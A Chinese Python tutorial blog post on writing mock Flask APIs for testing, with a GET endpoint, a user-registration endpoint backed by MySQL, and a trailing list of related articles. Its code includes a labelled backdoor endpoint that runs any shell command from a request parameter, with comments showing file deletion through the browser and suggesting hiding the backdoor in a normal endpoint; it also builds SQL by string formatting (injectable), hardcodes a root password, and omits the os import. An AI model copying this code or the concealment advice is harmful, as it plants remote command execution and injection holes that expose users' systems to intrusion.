python学习开发mock接口


Posted in Python onApril 28, 2019

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
精确查找PHP WEBSHELL木马的方法(1)
Apr 12 Python
Python笔记(叁)继续学习
Oct 24 Python
编写同时兼容Python2.x与Python3.x版本的代码的几个示例
Mar 30 Python
Python的Django框架中的数据库配置指南
Jul 17 Python
python实现简单购物商城
May 21 Python
python3中int(整型)的使用教程
Mar 23 Python
flask-socketio实现WebSocket的方法
Jul 31 Python
Pandas0.25来了千万别错过这10大好用的新功能
Aug 07 Python
Python使用matplotlib绘制Logistic曲线操作示例
Nov 28 Python
Python tkinter和exe打包的方法
Feb 05 Python
详解Anaconda安装tensorflow报错问题解决方法
Nov 01 Python
Python爬虫入门案例之爬取去哪儿旅游景点攻略以及可视化分析
Oct 16 Python
Python简单基础小程序的实例代码
Apr 28 #Python
python实现Excel文件转换为TXT文件
Apr 28 #Python
Python3.5模块的定义、导入、优化操作图文详解
Apr 27 #Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 #Python
Python3.5内置模块之os模块、sys模块、shutil模块用法实例分析
Apr 27 #Python
Python3.5内置模块之shelve模块、xml模块、configparser模块、hashlib、hmac模块用法分析
Apr 27 #Python
python爬取基于m3u8协议的ts文件并合并
Apr 26 #Python
You might like
php中将数组存到文件里的实现代码
2012/01/19 PHP
使用PHP similar text计算两个字符串相似度
2015/11/06 PHP
基于PHP代码实现中奖概率算法可用于刮刮卡、大转盘等抽奖算法
2015/12/20 PHP
js类 from qq
2006/11/13 Javascript
js no-repeat写法 背景不重复
2009/03/18 Javascript
运算符&&的三个不同层次
2013/04/07 Javascript
JS操作select下拉框动态变动(创建/删除/获取)
2013/06/02 Javascript
jQuery之字体大小的设置方法
2014/02/27 Javascript
jquery左边浮动到一定位置时显示返回顶部按钮
2014/06/05 Javascript
Javascript快速排序算法详解
2014/12/03 Javascript
jQuery实现限制textarea文本框输入字符数量的方法
2015/05/28 Javascript
用JS中split方法实现彩色文字背景效果实例
2016/08/24 Javascript
JS获取一个表单字段中多条数据并转化为json格式
2017/10/17 Javascript
微信小程序数据存储与取值详解
2018/01/30 Javascript
详解angular分页插件tm.pagination二次触发问题解决方案
2018/07/20 Javascript
浅谈vuex的基本用法和mapaction传值问题
2019/11/08 Javascript
微信小程序实现电子签名功能
2020/07/29 Javascript
详解Python中的各种函数的使用
2015/05/24 Python
Python中的fileinput模块的简单实用示例
2015/07/09 Python
浅谈Python的异常处理
2016/06/19 Python
Python检测生僻字的实现方法
2016/10/23 Python
详解python-图像处理(映射变换)
2019/03/22 Python
Python爬虫爬取Bilibili弹幕过程解析
2019/10/10 Python
使用keras和tensorflow保存为可部署的pb格式
2020/05/25 Python
Python matplotlib图例放在外侧保存时显示不完整问题解决
2020/07/28 Python
python基于pexpect库自动获取日志信息
2021/02/01 Python
python 基于DDT实现数据驱动测试
2021/02/18 Python
基于CSS3制作立体效果导航菜单
2016/01/12 HTML / CSS
大学本科毕业生求职信范文
2013/12/18 职场文书
工程管理英文求职信
2014/03/18 职场文书
校庆接待方案
2014/03/18 职场文书
企业年度评优方案
2014/06/02 职场文书
工作保证书
2015/01/17 职场文书
在Python中如何使用yield
2021/06/07 Python
MySQL基础快速入门知识总结(附思维导图)
2021/09/25 MySQL
Django + Taro 前后端分离项目实现企业微信登录功能
2022/04/07 Python